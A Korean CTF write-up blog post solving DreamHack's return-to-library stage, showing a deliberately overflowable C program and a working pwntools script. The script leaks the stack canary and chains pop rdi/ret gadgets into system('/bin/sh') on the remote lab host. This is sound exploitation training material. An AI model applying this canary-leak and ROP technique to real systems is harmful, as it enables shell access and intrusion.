Recent Posts
Recent Comments
Link
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[System_Hacking] stage7_문제풀이(Return to Library) 본문

Hack/DreamHack(로드맵)

[System_Hacking] stage7_문제풀이(Return to Library)

CIDY 2022. 7. 2. 16:31

문제가 너무 간단해서 그냥 풀이 적지 말까 하다가 그래도 차근차근 해나가고 싶어서 적고 감

 

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
// 64-bit, canary, nx, partial relro

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

 

카나리 릭 -> ROP가 전부인 간단한 코드다. 

 

from pwn import *

p = remote("host3.dreamhack.games", 12865)
#p = process("./rtl")

pop_rdi = 0x400853
binsh = 0x400874
ret = 0x400285
system_plt = 0x4005d0

p.recvuntil(b"Buf: ")
p.send(b"A" * 0x39)
p.recvuntil(b"Buf: ")
p.recvn(0x39)

canary = u64(p.recvn(7).rjust(8, b"\x00"))
print(hex(canary))

p.recvuntil(b"Buf: ")

pay = b"A" * 0x30
pay += b"B" * 0x8
pay += p64(canary)
pay += b"C" * 0x8
pay += p64(pop_rdi)
pay += p64(binsh)
pay += p64(ret)
pay += p64(system_plt)

p.send(pay)
p.interactive()

 

아 그리고 참고로 binsh주소는 그냥 gdb에서 find /bin/sh하면 있는거 다 보여준다. 그중에 라이브러리에 적힌건 aslr때문에 못쓰니까 그건 빼고 가져와주면 됨.

 

(이건 char* 라 data영역에서 찾으면 안될듯)